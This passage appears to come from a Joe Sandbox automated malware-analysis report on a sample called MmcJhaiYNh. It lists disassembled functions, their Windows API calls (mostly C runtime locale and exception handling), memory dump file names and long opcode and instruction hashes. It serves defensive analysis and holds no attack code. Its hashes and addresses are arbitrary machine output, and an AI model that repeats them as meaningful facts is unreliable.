Instruction Fuzzy Hash: 0A61AF729002079FDB28DF29CC86BBA77A8FF14314F12417AE946C6585EB34E984CB55

Function 0085DA73 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0085DB6B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0085DB75
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0085DB82

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 8ef789bfbdcaed420b927aab2c6cc1d3849dc14e50c1afddf11f619b2d7da9fc
Instruction ID: 248a3f0098e516afafe78114afa1f82cd38dcb1381ae662f06ef4f15cab497a3
Opcode Fuzzy Hash: 8ef789bfbdcaed420b927aab2c6cc1d3849dc14e50c1afddf11f619b2d7da9fc
Instruction Fuzzy Hash: 37319374901328ABCB21DF69DD89B8DBBB8FF08311F5041DAE81CA7251EB749B858F45

Function 0085FEF0 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction ID: 3eef6e2ed43e8fa8e9e3e604732f957adec3350b322431a108ca2c5c6184e7d0
Opcode Fuzzy Hash: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction Fuzzy Hash: FBF13D71E002199FDF14CFA8D994AAEB7B1FF89314F168269E919EB381D7309D058F84

Function 0086572C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00865727,?,?,00000008,?,?,008715F5,00000000), ref: 00865959

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: bcc378ff6217a5620eb36d9d482d8f1d3d932820f19023094ec1cccba399f143
Instruction ID: 52271d5d89719ac59512888aa852046ec33bb85c2de62e72c57b0235d9097e70
Opcode Fuzzy Hash: bcc378ff6217a5620eb36d9d482d8f1d3d932820f19023094ec1cccba399f143
Instruction Fuzzy Hash: F6B12D31610A09DFD719CF2CC486B657BE0FF45365F2A8668E899CF2A1C335E992CB40

Function 0085729C Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 008572B2

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: fc10faf6de2761dfc4e580ec403f43ff512e9816968d8d2072b4751063543890
Instruction ID: 927610624b4e51826b2fd524d816ff123154182605f726da23ff7fafc464f5dd
Opcode Fuzzy Hash: fc10faf6de2761dfc4e580ec403f43ff512e9816968d8d2072b4751063543890
Instruction Fuzzy Hash: 84A15CB1A05B058FDB18CF68E8866ADBBF0FB58325F14912AD819E73A4D334D985CF50

Function 00869ABF Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35188d9e82847082866bc42911131276ff386e6ccb7b0fe67e0016abc94ca433
Instruction ID: a2590c66dde3c46b5208cdccf630f06f1cbd11f97b215b86da0c4966f1603f73
Opcode Fuzzy Hash: 35188d9e82847082866bc42911131276ff386e6ccb7b0fe67e0016abc94ca433
Instruction Fuzzy Hash: 6531C676900229AFCB20DFACDC89EABB7BDFB84314F154158F945D7285EA30AE408B50

Function 0085CAF2 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 0085CC80

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 5128c14df346038a045ced75489d9e5ec418db93e96b4ae915e274fb84615c89
Instruction ID: 8443920f88b1da026e428e190e9d8197f2d5dbe3bc931c2971839164ad79cba9
Opcode Fuzzy Hash: 5128c14df346038a045ced75489d9e5ec418db93e96b4ae915e274fb84615c89
Instruction Fuzzy Hash: 10C1AD7450074A8FCB28CF28C4866AABBB2FF45326F244619DC56DB291D730AD4DCF92

Function 0086C6EB Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00864EB1: GetLastError.KERNEL32(?,00000008,00869482), ref: 00864EB5
Part of subcall function 00864EB1: SetLastError.KERNEL32(00000000,0087C480,00000024,00860419), ref: 00864F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0086C73F

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 1ba5cb53fb9867463762a4d67e55a17cfc6355a48b52aa34295bd8001077edbe
Instruction ID: 46798ec193cf44c6222c011f121dc227345fbdbd802db6e7e274ae17e1c791b5
Opcode Fuzzy Hash: 1ba5cb53fb9867463762a4d67e55a17cfc6355a48b52aa34295bd8001077edbe
Instruction Fuzzy Hash: 3B218E72A01206ABEB28AB6DDC42ABA77A8FF44314B11007AFD46D6181EB34ED458B51

Function 0086C372 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00864EB1: GetLastError.KERNEL32(?,00000008,00869482), ref: 00864EB5
Part of subcall function 00864EB1: SetLastError.KERNEL32(00000000,0087C480,00000024,00860419), ref: 00864F57

EnumSystemLocalesW.KERNEL32(0086C498,00000001,00000000,?,-00000050,?,0086CAC9,00000000,?,?,?,00000055,?), ref: 0086C3E4

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: ec9fbef095b88aae717c56e3a59ac78b30e52c80d2a17ef9a565131cde63fd2a
Instruction ID: 045e606c3edc87ad5c4f5952697535281a33a45299973924089551aace5981dd
Opcode Fuzzy Hash: ec9fbef095b88aae717c56e3a59ac78b30e52c80d2a17ef9a565131cde63fd2a
Instruction Fuzzy Hash: 9B1125362007055FDB18AF39C9A15BABBA2FF80368B16842DE98787B40D771B942C740

Function 0086C91A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00864EB1: GetLastError.KERNEL32(?,00000008,00869482), ref: 00864EB5
Part of subcall function 00864EB1: SetLastError.KERNEL32(00000000,0087C480,00000024,00860419), ref: 00864F57

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0086C6B4,00000000,00000000,?), ref: 0086C946

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: b693f71eff0c75d7db0207b185f29e02e729dae53ffae9ebcd440dd4c5e5943f
Instruction ID: 5cb078e6c0cd05ad8d805993aef05ad9136722ccba32882126ba82e430bb35a5
Opcode Fuzzy Hash: b693f71eff0c75d7db0207b185f29e02e729dae53ffae9ebcd440dd4c5e5943f
Instruction Fuzzy Hash: EEF0A933500115BBDB2496658C09BBA7B58FB40754F164428ED86E7184DA74FE42C5A1

Function 0086C40D Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00864EB1: GetLastError.KERNEL32(?,00000008,00869482), ref: 00864EB5
Part of subcall function 00864EB1: SetLastError.KERNEL32(00000000,0087C480,00000024,00860419), ref: 00864F57

EnumSystemLocalesW.KERNEL32(0086C6EB,00000001,?,?,-00000050,?,0086CA8D,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 0086C457

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: c8fcf51d943f851ea34e2d2e16101e6b67eb8cd5717133b7893cfabf53a4bf37
Instruction ID: 67f912368f5450450b5b1f8b64b244d56368315286c93e80f324de875aa96534
Opcode Fuzzy Hash: c8fcf51d943f851ea34e2d2e16101e6b67eb8cd5717133b7893cfabf53a4bf37
Instruction Fuzzy Hash: FCF0F6363043045FDB149F79DC91A7A7B91FF80768F16842DF986CB690CA719C42C654

Function 00865D7F Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0085DDC1: EnterCriticalSection.KERNEL32(?,?,00864B89,?,0087C2E0,00000008,00864D4D,?,0085C446,?), ref: 0085DDD0

EnumSystemLocalesW.KERNEL32(00865D72,00000001,0087C3A0,0000000C,00866127,00000000), ref: 00865DB7

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 18a9c4d3006538d790224b9c2ecb5bd3da9b28b3c78e886d2b0362d1b0a6afde
Instruction ID: 919e0b48416f7146c1318f0a0ce7582836a41c17f4001ae64522dbfdc451cabb
Opcode Fuzzy Hash: 18a9c4d3006538d790224b9c2ecb5bd3da9b28b3c78e886d2b0362d1b0a6afde
Instruction Fuzzy Hash: 10F0E772A40704EFD700EF98E846B9D7BB0FB48722F10812AF915DB2A1D7B999458B46

Function 0086C327 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00864EB1: GetLastError.KERNEL32(?,00000008,00869482), ref: 00864EB5
Part of subcall function 00864EB1: SetLastError.KERNEL32(00000000,0087C480,00000024,00860419), ref: 00864F57

EnumSystemLocalesW.KERNEL32(0086C280,00000001,?,?,?,0086CAEB,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0086C35E

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: f7b83df667f05c6a22e4bfce937526aa6e289d91373a473356557c2ab64ee25d
Instruction ID: 5acd0852602eb593c8e343ff81162b6f3e49ece3be0e3f0fdf7204a24d1f9183
Opcode Fuzzy Hash: f7b83df667f05c6a22e4bfce937526aa6e289d91373a473356557c2ab64ee25d
Instruction Fuzzy Hash: 74F0553630020457CB049F7ACC05A7ABF90FFC1B20B074058EE09CB380C2329886C790

Function 0086622B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,008623AE,?,20001004,00000000,00000002,?,?,008619B0), ref: 0086625F

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: b5e3c8aef8addcb342c9f220673d736b338b29f010f2846a5df4faffc4b39985
Instruction ID: 2a4f54d87add3bc5f5dc0cf7a74060c19a69d22f25bbb54e375f58235e32f30a
Opcode Fuzzy Hash: b5e3c8aef8addcb342c9f220673d736b338b29f010f2846a5df4faffc4b39985
Instruction Fuzzy Hash: 98E04831500558B7CF122F60DC08E9E7F15FF44750F018010FD45A5221D771CD70AB92

Function 00857AAF Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00007ABB,00856DC9), ref: 00857AB4

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: a7fe3739e2756467842b22602818522a2b8d88eaa30740342ff16e1af69b5ed1
Instruction ID: 6bdc576a71a8b44cd630c8208e67d56554d6c265bede759fb7a1b0529451cf45
Opcode Fuzzy Hash: a7fe3739e2756467842b22602818522a2b8d88eaa30740342ff16e1af69b5ed1
Instruction Fuzzy Hash:

Function 00851D79 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 00851E9B

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: eab08d9235bc4621df53814afafcfe131b57144bcaed95051bbe0ac74c89195d
Instruction ID: 4568e7b7cf6aa98f49e946d2d35c23914055fb9b96331be59567ddf093e26b56
Opcode Fuzzy Hash: eab08d9235bc4621df53814afafcfe131b57144bcaed95051bbe0ac74c89195d
Instruction Fuzzy Hash: 6541F976E2052B5BCF4CEEB8885A1AEBB65F746351B04427ADD11DB3D1E2348A05C6D0

Function 0086CC4B Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0086CC4B

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 3ae1a5a3f7da10c908251387c846ecb1b5edeff7d96b90d720cb5f8ee3e78640
Instruction ID: c0afaf536e4a390686a0c843a1cd05f7dd4b5a8c28649b9e9c81a2553e79bec9
Opcode Fuzzy Hash: 3ae1a5a3f7da10c908251387c846ecb1b5edeff7d96b90d720cb5f8ee3e78640
Instruction Fuzzy Hash: A7A011302222008B83008F38AE8AA083BA8BA08280B088028A008C2220EB308080AA02

Function 0086BB36 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 0f2ea31ef424476dd3eb99ea8440847a03bb6ee220b503f1566d14f89821b394
Instruction ID: bae5fa2fdc3631584c4c5187dd52bc0a7bbc8c595528639b2430fce78acd29d8
Opcode Fuzzy Hash: 0f2ea31ef424476dd3eb99ea8440847a03bb6ee220b503f1566d14f89821b394
Instruction Fuzzy Hash: F3B1E4355007458BDB389B29CC92AB7B3A8FF4430CF15442DEA87CA681EB75A9C6CB10

Function 0086A64C Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction ID: 10fbeb17759a3328517813a062d6da83884a4143726cd7931908fcbf6bcf31d6
Opcode Fuzzy Hash: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction Fuzzy Hash: CFE08C72921278EBCB18DB9CC90498AF3ECFB44B00B1605A6B601E3210C270DE00CBD2

Function 00896628 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmpDownload File
